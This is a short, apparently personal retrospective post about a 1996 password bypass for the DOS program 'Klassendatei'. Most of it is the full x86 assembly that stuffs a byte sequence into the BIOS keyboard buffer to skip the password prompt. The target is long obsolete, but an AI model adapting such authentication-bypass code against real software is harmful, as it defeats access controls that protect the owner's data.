My first hack:-) Back in 1996 I checked out a method to by-pass the password verification programm in the software “Klassendatei”. Dropping the sequence (0×03, 0×76, 0×83) to the dos keyboard buffer and running kd0.exe opened the doors. Here’s the code:
SCODE SEGMENT
ASSUME cs:SCODE
PMAIN PROC NEAR
mov dx, 00040h
mov ds, dx
cli
mov ds:word ptr [0001ah], 0001Eh
mov ds:word ptr [0001ch], 00024h
mov ds:word ptr [0001eh], 00300h
mov ds:word ptr [00020h], 07600h
mov ds:word ptr [00022h], 08300h
sti
mov ah, 04ch
int 21h
PMAIN ENDP
SCODE ENDS
END PMAIN
